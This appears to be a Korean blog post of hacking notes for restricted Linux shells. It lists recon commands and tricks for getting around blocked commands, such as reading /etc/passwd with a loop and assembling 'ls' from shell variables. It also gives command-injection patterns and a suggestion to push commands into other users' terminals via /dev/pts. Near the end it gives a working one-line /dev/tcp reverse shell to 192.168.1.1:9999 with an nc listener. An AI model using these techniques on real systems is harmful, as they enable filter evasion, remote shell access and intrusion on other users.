netstat -nap
현재 열려있는 포트들 뿐 아니라 PID 값과 프로그램 경로 위치까지 보임
pstree
ps나 top 명령이 막혀 있을 때 사용 가능, 단 /proc이 막혀 있다면 불가능
ifconfig
랜카드의 갯수, 장치 아이피 주소. 망 접속 환경에 따라 추가적인 ip 부여도 가능함
dmesg
kernel에서 출력되는 메시지를 볼 수 있다.
overflow 나는 부분의 메모리 주소 등을 확인할 수 있으며, 운 좋으면 남이 실행한 익스플로잇
성공이 실행되는 메시지 주소값도 확인이 가능
curl
wget과 하는 일이 똑같음. wget이 막혀있을때 사용
nmap
네트워크 포트 스캐닝으로 좋음 (설치해야 함)
cat /proc/self/maps
현재 실행되고 있는 프로세스의 메모리 영역 Heap과 Stack
(단 권한이 있어야 보임)
cat /proc/self/environ
현재 실행되고 있는 프로세스의 환경변수 확인 가능
cat /dev/vcs[N]
root 권한 유저만 읽기가 가능. (virtual console switch)
[N]은 1~63까지 존재, 접속한 콘솔 번호에 대한 화면 덤프를 보여줌
ls -al /dev/pts
who나 w 명령어가 막혀있을 때, 쓸 수 있는 명령어
해당 리스트의 소유자 정보로 누가 로그인 중인지가 확인이 가능함
tty는 콘솔로 접속, tts는 터미널 접속자를 의미함.
이 명령어를 잘만 이용하면 다른접속자를 낚을 수 있는 명령어를 보낼 수도?
echo “ls -al “ > /dev/pts/1
less
cat이나 vi가 막혀있을때.. 비슷한 결과가 출력됨
echo *
ls와 비슷한 결과가 출력됨.
gdb -q ./[파일명]
시스템 메모리 구조 및 분석 툴로, disassemble로 메모리 분석.
shellcode를 이용한 명령어 사용
만약 cat, less 등 파일 읽기 명령어를 사용하지 못할 경우 쉘 스크립트를 이용할 수 있다.
while read line ; do echo $line; done < /etc/passwd[파일 이름]
nmblookup/ smbclient
리눅스에서 윈도우로 공유 폴더 사용할 때. (samba/netbios)
Shell command injection
명령어를 2개 이상 실행 시키는 방식으로.
(;, &는 백그라운드 실행, `~~~` command injection, $ 환경변수 이용 )
ls -al ;id
ping -t google.co.kr&ls
ping -t google.co.kr`ls` ← ls 결과값을 파싱해서 윗 명령에 던져줌
A =ls
$A
하면 ls 명령어를 친 것과 동일한 결과
or
A =l
A+=s
$A
이렇게 해도 ls 명령어 친 것과 동일한 결과. ls 자체 입력을 막은 경우 사용.
1줄 reverse telnet
[192.168.1.2]
exec /bin/sh 0 < /dev/tcp/192.168.1.1/9999 1>&0 2>&0
여기서
0 = stdin (표준 입력) 예. /bin/sh에서 표준 입력값을< 이후에서 받겠다는 의미의 명령어
1 = stdout (표준 출력) 예. 1>&0 표준 출력을 표준 입력으로 출력
2 = stderr (표준 에러) 예. 2>&0 표준 에러를 표준 입력으로 출력
2 = stderr (표준 에러) 예. 2>&0 표준 에러를 표준 입력으로 출력
>, < 는 정보의 흐름을 표시함.
[192.168.1.1]
192.168.1.1에서 nc를 이용하여 9999 포트 리스닝 중이라면,
nc -lvp 9999 (9999 포트에 대해서 리스닝 중)
이후 192.168.1.2로의 reverse telnet이 먹혀 명령어 실행 및 출력이 가능해진다.
IP만 알고 있는 리눅스 서버의 호스트네임 찾기
1) host [ip address]
2) ping -a [ip address]
arp -a
3) nslookup [ip address]
4) dig -x [ip address]
내부나 외부 DNS에 등록되어 있는 경우는 위와 같이 확인이 가능.
댓글 없음:
댓글 쓰기